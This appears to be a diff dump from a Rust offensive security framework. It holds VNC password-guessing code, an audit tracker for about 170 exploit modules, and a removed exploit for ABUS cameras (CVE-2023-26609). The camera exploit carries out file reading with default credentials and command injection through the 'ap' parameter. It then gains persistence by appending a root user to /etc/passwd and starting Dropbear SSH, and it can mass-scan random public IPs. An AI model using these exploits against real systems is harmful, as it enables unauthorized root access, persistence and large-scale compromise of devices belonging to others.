||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// VNC (RFB) Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum VncResult {
|
||||
/// Authentication succeeded (correct password).
|
||||
Success,
|
||||
/// Server requires no authentication.
|
||||
NoAuth,
|
||||
/// Authentication was rejected (wrong password).
|
||||
AuthFailed,
|
||||
/// TCP/IO error.
|
||||
ConnectionError(String),
|
||||
/// Protocol-level error (unsupported version, etc.).
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Reverse the bits in a byte (VNC DES key derivation requirement).
|
||||
///
|
||||
/// VNC reverses each byte of the password before using it as a DES key.
|
||||
fn reverse_bits(b: u8) -> u8 {
|
||||
let mut result = 0u8;
|
||||
let mut input = b;
|
||||
for _ in 0..8 {
|
||||
result = (result << 1) | (input & 1);
|
||||
input >>= 1;
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Derive the VNC DES key from a password.
|
||||
///
|
||||
/// Password is truncated to 8 bytes (or zero-padded if shorter),
|
||||
/// then each byte is bit-reversed.
|
||||
fn vnc_des_key(password: &str) -> [u8; 8] {
|
||||
let mut key = [0u8; 8];
|
||||
let pass_bytes = password.as_bytes();
|
||||
let copy_len = pass_bytes.len().min(8);
|
||||
key[..copy_len].copy_from_slice(&pass_bytes[..copy_len]);
|
||||
|
||||
// Bit-reverse each byte
|
||||
for byte in &mut key {
|
||||
*byte = reverse_bits(*byte);
|
||||
}
|
||||
|
||||
key
|
||||
}
|
||||
|
||||
/// Encrypt a 16-byte VNC challenge using DES ECB with the derived key.
|
||||
///
|
||||
/// The challenge is encrypted as two 8-byte blocks independently (ECB mode).
|
||||
fn vnc_des_encrypt(key: &[u8; 8], challenge: &[u8; 16]) -> [u8; 16] {
|
||||
let des_key = GenericArray::from_slice(key);
|
||||
let cipher = Des::new(des_key);
|
||||
|
||||
let mut result = [0u8; 16];
|
||||
|
||||
// Encrypt first 8-byte block
|
||||
let mut block1 = GenericArray::clone_from_slice(&challenge[0..8]);
|
||||
cipher.encrypt_block(&mut block1);
|
||||
result[0..8].copy_from_slice(&block1);
|
||||
|
||||
// Encrypt second 8-byte block
|
||||
let mut block2 = GenericArray::clone_from_slice(&challenge[8..16]);
|
||||
cipher.encrypt_block(&mut block2);
|
||||
result[8..16].copy_from_slice(&block2);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Parse the RFB server version string and return (major, minor).
|
||||
fn parse_rfb_version(version_str: &[u8]) -> Result<(u16, u16)> {
|
||||
// Expected format: "RFB XXX.YYY\n" (12 bytes)
|
||||
if version_str.len() < 12 {
|
||||
return Err(anyhow!("Version string too short"));
|
||||
}
|
||||
if &version_str[0..4] != b"RFB " {
|
||||
return Err(anyhow!("Not an RFB server"));
|
||||
}
|
||||
|
||||
let major_str = String::from_utf8_lossy(&version_str[4..7]);
|
||||
let minor_str = String::from_utf8_lossy(&version_str[8..11]);
|
||||
|
||||
let major: u16 = major_str
|
||||
.trim()
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid major version: {}", major_str))?;
|
||||
let minor: u16 = minor_str
|
||||
.trim()
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid minor version: {}", minor_str))?;
|
||||
|
||||
Ok((major, minor))
|
||||
}
|
||||
|
||||
/// Attempt VNC authentication against a target address.
|
||||
async fn try_vnc_auth(addr: &str, password: &str) -> VncResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return VncResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Step 1: Read server version string (12 bytes)
|
||||
let mut server_version = [0u8; 12];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut server_version),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read server version: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading server version".to_string()),
|
||||
}
|
||||
|
||||
let (_major, minor) = match parse_rfb_version(&server_version) {
|
||||
Ok(v) => v,
|
||||
Err(e) => return VncResult::ProtocolError(format!("Version parse error: {}", e)),
|
||||
};
|
||||
|
||||
// Step 2: Send client version (use 3.8 for best compatibility, fall back to 3.7)
|
||||
let client_version = if minor >= 8 { RFB_VERSION_38 } else { RFB_VERSION_37 };
|
||||
if let Err(e) = stream.write_all(client_version).await {
|
||||
return VncResult::ConnectionError(format!("Failed to send client version: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
|
||||
// Step 3: Read security types
|
||||
if minor >= 7 {
|
||||
// RFB 3.7+: read number of security types, then the type bytes
|
||||
let mut num_types_buf = [0u8; 1];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut num_types_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to read security type count: {}",
|
||||
e
|
||||
))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError(
|
||||
"Timeout reading security type count".to_string(),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
let num_types = num_types_buf[0] as usize;
|
||||
|
||||
if num_types == 0 {
|
||||
// Server is refusing the connection -- read reason string
|
||||
let mut len_buf = [0u8; 4];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut len_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_len = u32::from_be_bytes(len_buf) as usize;
|
||||
if reason_len > 0 && reason_len < 4096 {
|
||||
let mut reason = vec![0u8; reason_len];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut reason),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_str = String::from_utf8_lossy(&reason);
|
||||
if reason_str.to_lowercase().contains("too many") {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Rate limited: {}",
|
||||
reason_str
|
||||
));
|
||||
}
|
||||
return VncResult::ProtocolError(format!(
|
||||
"Connection refused: {}",
|
||||
reason_str
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
return VncResult::ProtocolError("Connection refused (0 security types)".to_string());
|
||||
}
|
||||
|
||||
let mut types = vec![0u8; num_types];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut types),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to read security types: {}",
|
||||
e
|
||||
))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError("Timeout reading security types".to_string())
|
||||
}
|
||||
}
|
||||
|
||||
// Check for None auth (type 1) -- no password needed
|
||||
if types.contains(&VNC_AUTH_NONE) && !types.contains(&VNC_AUTH_TYPE) {
|
||||
// Select None auth
|
||||
if let Err(e) = stream.write_all(&[VNC_AUTH_NONE]).await {
|
||||
return VncResult::ConnectionError(format!("Failed to select None auth: {}", e));
|
||||
}
|
||||
return VncResult::NoAuth;
|
||||
}
|
||||
|
||||
if !types.contains(&VNC_AUTH_TYPE) {
|
||||
return VncResult::ProtocolError(format!(
|
||||
"VNC Authentication (type 2) not supported. Available: {:?}",
|
||||
types
|
||||
));
|
||||
}
|
||||
|
||||
// Select VNC Authentication (type 2)
|
||||
if let Err(e) = stream.write_all(&[VNC_AUTH_TYPE]).await {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to select VNC auth type: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
} else {
|
||||
// RFB 3.3: server picks the security type (4 bytes, big-endian)
|
||||
let mut type_buf = [0u8; 4];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut type_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read security type: {}", e))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError("Timeout reading security type".to_string())
|
||||
}
|
||||
}
|
||||
|
||||
let sec_type = u32::from_be_bytes(type_buf);
|
||||
match sec_type {
|
||||
0 => {
|
||||
return VncResult::ProtocolError(
|
||||
"Server refused connection (security type 0)".to_string(),
|
||||
)
|
||||
}
|
||||
1 => return VncResult::NoAuth,
|
||||
2 => {} // VNC Authentication -- proceed
|
||||
_ => {
|
||||
return VncResult::ProtocolError(format!(
|
||||
"Unsupported security type: {}",
|
||||
sec_type
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Step 4: Read 16-byte challenge
|
||||
let mut challenge = [0u8; CHALLENGE_LEN];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut challenge),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read challenge: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading challenge".to_string()),
|
||||
}
|
||||
|
||||
// Step 5: Encrypt challenge with DES using bit-reversed password key
|
||||
let key = vnc_des_key(password);
|
||||
let response = vnc_des_encrypt(&key, &challenge);
|
||||
|
||||
// Step 6: Send encrypted response
|
||||
if let Err(e) = stream.write_all(&response).await {
|
||||
return VncResult::ConnectionError(format!("Failed to send auth response: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
|
||||
// Step 7: Read security result (4 bytes)
|
||||
let mut result_buf = [0u8; 4];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut result_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read auth result: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading auth result".to_string()),
|
||||
}
|
||||
|
||||
let security_result = u32::from_be_bytes(result_buf);
|
||||
|
||||
match security_result {
|
||||
0 => VncResult::Success,
|
||||
1 => {
|
||||
// Failed -- in RFB 3.8, a reason string follows
|
||||
if minor >= 8 {
|
||||
let mut len_buf = [0u8; 4];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut len_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_len = u32::from_be_bytes(len_buf) as usize;
|
||||
if reason_len > 0 && reason_len < 4096 {
|
||||
let mut reason = vec![0u8; reason_len];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut reason),
|
||||
)
|
||||
.await {
|
||||
Err(_) => crate::meprintln!("[!] VNC reason read timed out"),
|
||||
Ok(Err(e)) => crate::meprintln!("[!] VNC reason read error: {}", e),
|
||||
Ok(Ok(_)) => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
VncResult::AuthFailed
|
||||
}
|
||||
2 => VncResult::ProtocolError("Too many authentication failures".to_string()),
|
||||
other => VncResult::ProtocolError(format!("Unknown security result: {}", other)),
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,3 @@
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
pub mod camera;
|
||||
pub mod utils;
|
||||
pub mod camxploit;
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
|
||||
+1105
-35
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,140 @@
|
||||
# Exploit Module Audit Tracker
|
||||
|
||||
Rolling per-module checklist. Update as each module is reviewed. Keep short — one row per module.
|
||||
|
||||
## Per-module checklist
|
||||
|
||||
Each module should pass all 9 (check() is centralized in `scanners/vuln_checker.rs` — not per-module):
|
||||
|
||||
1. `run()` bails early (≤2 s) when target doesn't speak the expected protocol
|
||||
2. No `.unwrap()` / `.expect()` on network-derived values
|
||||
3. All user knobs exposed via `cfg_prompt_*` (no hardcoded consts)
|
||||
4. Uses `crate::utils::tcp_connect_str` or `tcp_connect_addr` instead of raw `TcpStream::connect`
|
||||
5. Uses `crate::utils::build_http_client` / `build_http_client_with` (not raw `reqwest::Client::builder`)
|
||||
6. `references:` populated with real URLs
|
||||
7. Doc block at top of file with CVE / vendor / affected versions
|
||||
8. `ModuleRank` honest — observed reliability
|
||||
9. Loot / host / service registered in workspace on success
|
||||
|
||||
## Status legend
|
||||
|
||||
- `✅ audited` — all 10 pass
|
||||
- `🔶 partial` — listed sub-items still outstanding
|
||||
- `❌ broken` — known runtime failure; fix required
|
||||
- `⏳ pending` — not yet reviewed
|
||||
|
||||
## Progress (updated per session)
|
||||
|
||||
| Category | Audited | Total |
|
||||
|---|---|---|
|
||||
| network_infra | 0 | 30 |
|
||||
| webapps | 0 | 25 |
|
||||
| frameworks | 0 | 15 |
|
||||
| ssh | 0 | 15 |
|
||||
| routers | 0 | 25 |
|
||||
| vnc / telnet / voip / cameras | 0 | 21 |
|
||||
| dos | 0 | 12 |
|
||||
| honeytrap / snare / cowrie / dionaea / safeline | 0 | 15 |
|
||||
| crypto / ftp / ipmi / windows / bluetooth / payloadgens | 0 | 12 |
|
||||
| **Total** | **0** | **170** (excludes sample_exploit and 10 duplicates) |
|
||||
|
||||
## Session order (E1 → E10)
|
||||
|
||||
1. **E1** — network_infra CVEs (fortinet, ivanti, citrix, palo_alto, sonicwall, f5, hpe, kubernetes, commvault, vmware, trend_micro)
|
||||
2. **E2** — webapps RCE (craftcms, flowise, n8n, xwiki, roundcube, sharepoint, wordpress, sap, misp, mcpjam, dify, langflow, solarwinds, zabbix, zimbra, spotube, termix, react, vite, laravel, nextjs)
|
||||
3. **E3** — frameworks (apache_tomcat, apache_camel, jenkins, nginx, php, wsus, http2, exim, mongo)
|
||||
4. **E4** — ssh family (libssh_auth_bypass, asyncssh, paramiko ×2, erlang_otp, sshpwn ×5, libssh2_rogue_server, openssh_regresshion, opensshserver_9_8p1race)
|
||||
5. **E5** — router CVEs (tplink ×13, ruijie ×7, netgear, dlink, zte, zyxel, tenda, ubiquiti)
|
||||
6. **E6** — vnc ×13 + telnet ×1 + voip ×1 + cameras ×6
|
||||
7. **E7** — dos ×12 (flood + amplification; already gated with `require_root` in A3)
|
||||
8. **E8** — honeytrap ×2 + snare ×2 + cowrie ×3 + dionaea ×4 + safeline ×6
|
||||
9. **E9** — crypto ×2 + ftp ×2 + ipmi ×1 + windows ×1 + bluetooth ×1 + payloadgens ×5
|
||||
10. **E10** — catch-all review + regression pass
|
||||
|
||||
## Module status matrix
|
||||
|
||||
_Populate during audit. Blank = pending._
|
||||
|
||||
### network_infra/
|
||||
| Module | Status | Notes |
|
||||
|---|---|---|
|
||||
| citrix/cve_2025_5777_citrixbleed2 | ⏳ | |
|
||||
| commvault/cve_2025_34028_commvault_rce | ⏳ | reqwest migrated in B2b |
|
||||
| f5/cve_2025_53521_f5_bigip_rce | ⏳ | reqwest migrated; fire_results showed `OK_err` classification — verify |
|
||||
| fortinet/forticloud_sso_auth_bypass_cve_2026_24858 | ⏳ | batch: "Handshake failed" — likely TLS mismatch; review client config |
|
||||
| fortinet/fortigate_rce_cve_2024_21762 | ⏳ | |
|
||||
| fortinet/fortimanager_rce_cve_2024_47575 | ⏳ | |
|
||||
| fortinet/fortios_auth_bypass_cve_2022_40684 | ⏳ | |
|
||||
| fortinet/fortios_heap_overflow_cve_2023_27997 | ⏳ | batch row flagged `memcached_servers` prompt — likely fire_all_modules.py idx→module misalignment (prompt actually belongs to `exploits/dos/memcached_amplification`). Re-run batch with per-module prompt dicts to verify. |
|
||||
| fortinet/fortios_ssl_vpn_cve_2018_13379 | ⏳ | same — prompt `ntp_servers` belongs to `dos/ntp_amplification`. |
|
||||
| fortinet/fortisiem_rce_cve_2025_64155 | ⏳ | tcp_connect_str migrated |
|
||||
| fortinet/fortiweb_rce_cve_2021_22123 | ⏳ | |
|
||||
| fortinet/fortiweb_sqli_rce_cve_2025_25257 | ⏳ | |
|
||||
| hpe/cve_2025_37164_hpe_oneview_rce | ⏳ | reqwest migrated |
|
||||
| ivanti/cve_2025_0282_ivanti_preauth_rce | ⏳ | reqwest migrated |
|
||||
| ivanti/cve_2025_22457_ivanti_ics_rce | ⏳ | reqwest migrated |
|
||||
| ivanti/ivanti_connect_secure_stack_based_buffer_overflow | ⏳ | |
|
||||
| ivanti/ivanti_epmm_cve_2023_35082 | ⏳ | |
|
||||
| ivanti/ivanti_ics_auth_bypass_cve_2024_46352 | ⏳ | |
|
||||
| ivanti/ivanti_neurons_rce_cve_2025_22460 | ⏳ | |
|
||||
| kubernetes/cve_2025_1974_ingress_nginx_rce | ⏳ | reqwest migrated |
|
||||
| qnap/qnap_qts_rce_cve_2024_27130 | ⏳ | |
|
||||
| sonicwall/cve_2025_40602_sonicwall_sma_rce | ⏳ | reqwest migrated |
|
||||
| trend_micro/cve_2025_5777 | ⏳ | |
|
||||
| trend_micro/cve_2025_69258 | ⏳ | tcp_connect_str migrated |
|
||||
| trend_micro/cve_2025_69259 | ⏳ | tcp_connect_str migrated |
|
||||
| trend_micro/cve_2025_69260 | ⏳ | tcp_connect_str migrated |
|
||||
| vmware/esxi_auth_bypass_cve_2024_37085 | ⏳ | |
|
||||
| vmware/esxi_vm_escape_check | ⏳ | |
|
||||
| vmware/esxi_vsock_client | ⏳ | uses std::net blocking — audit performance |
|
||||
| vmware/vcenter_backup_rce | ⏳ | |
|
||||
| vmware/vcenter_file_read | ⏳ | uses std::fs::read_to_string — audit async |
|
||||
| vmware/vcenter_rce_cve_2024_37079 | ⏳ | |
|
||||
|
||||
_…further categories mirrored below; fill in during E2+ sessions…_
|
||||
|
||||
## Session log
|
||||
|
||||
- **Session 1** (2026-04-17): Phase A1/A2/A3 + B2a + B1 partial (14 sites) + B2b (47 sites) done. Build clean.
|
||||
- **Session 1 static-analysis**: verified via grep —
|
||||
- `.unwrap()`: 0 hits across 252 files
|
||||
- `.expect(...)`: 3 hits, all justified (`src/modules/exploits/vnc/rfb.rs`)
|
||||
- `panic!`/`todo!`/`unimplemented!`: 0 hits
|
||||
- `println!`/`eprintln!`/`print!` (MCP stdout-contaminating): 0 hits — all modules use `crate::mprintln!`/`meprintln!`
|
||||
- `std::process::Command::new`: 8 hits, all in `exploits/bluetooth/wpair.rs` calling `bluetoothctl`/`pacat`/`parecord` — legitimate for bluetooth exploitation
|
||||
- TODO/FIXME/HACK/XXX/BUG comments: 0 hits
|
||||
|
||||
## Revised Phase D1 scope
|
||||
|
||||
Actual count needing `check()`: **114 modules** total, breakdown:
|
||||
- 58 CVE-named modules (highest priority — user probes by CVE)
|
||||
- 56 non-CVE named
|
||||
|
||||
By category (category : missing-check count : CVE-named):
|
||||
- routers: 29 missing (17 CVE)
|
||||
- network_infra: 24 missing (19 CVE)
|
||||
- dos: 13 missing (0 CVE) — **defer all**: flooding == the exploit, check() is indistinguishable
|
||||
- webapps: 13 missing (9 CVE)
|
||||
- frameworks: 10 missing (7 CVE)
|
||||
- ssh: 7 missing (0 CVE)
|
||||
- cameras: 6 missing (3 CVE)
|
||||
- payloadgens: 5 missing (0 CVE) — **defer all**: no target, generates local files
|
||||
- crypto: 2 missing (1 CVE)
|
||||
- ftp / ipmi / telnet / windows: 4 missing (2 CVE)
|
||||
|
||||
**Realistic Phase D1 target: ~96 modules** (114 − 13 DoS − 5 payloadgens). Session D1a: 58 CVE-named first; Session D1b: remaining 38.
|
||||
|
||||
Template: see `CHECK_TEMPLATE.md`.
|
||||
|
||||
## Revised Phase D2 scope
|
||||
|
||||
Static-analysis found far fewer hardcoded consts than the plan's 73 estimate:
|
||||
- 10 modules: `DEFAULT_PORT` const without `cfg_prompt_port` call
|
||||
- 5 modules: `DEFAULT_PATH` / `*_PATH` const without `cfg_prompt_default("path", ...)`
|
||||
- 17 modules: `USER_AGENT` const without prompt (most of these are intentional — UA is a payload choice, not a user-configurable knob)
|
||||
|
||||
**Realistic Phase D2 target: ~15 modules** (10 port + 5 path; UA consts deferred as they're usually not user-facing knobs).
|
||||
|
||||
Concrete files:
|
||||
- ports missing prompt: `dos/ssdp_amplification`, `dos/ntp_amplification`, `dos/dns_amplification`, `dos/memcached_amplification`, `webapps/react/react2shell`, `cameras/abus/abussecurity_camera_cve202326609variant1`, `cameras/hikvision/hikvision_rce_cve_2021_36260`, `network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257`, `frameworks/mongo/mongobleed`, `vnc/rfb.rs`
|
||||
- paths missing prompt: `webapps/misp_rce_cve_2025_27364`, `webapps/zimbra_sqli_auth_bypass_cve_2025_25064`, `webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce`, `network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce`, `network_infra/commvault/cve_2025_34028_commvault_rce`
|
||||
@@ -1,376 +0,0 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use chrono::Local;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ScanMode {
|
||||
StandardCheck,
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
println!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
println!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let mut choice = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut choice)
|
||||
.await
|
||||
.context("Failed to read choice")?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
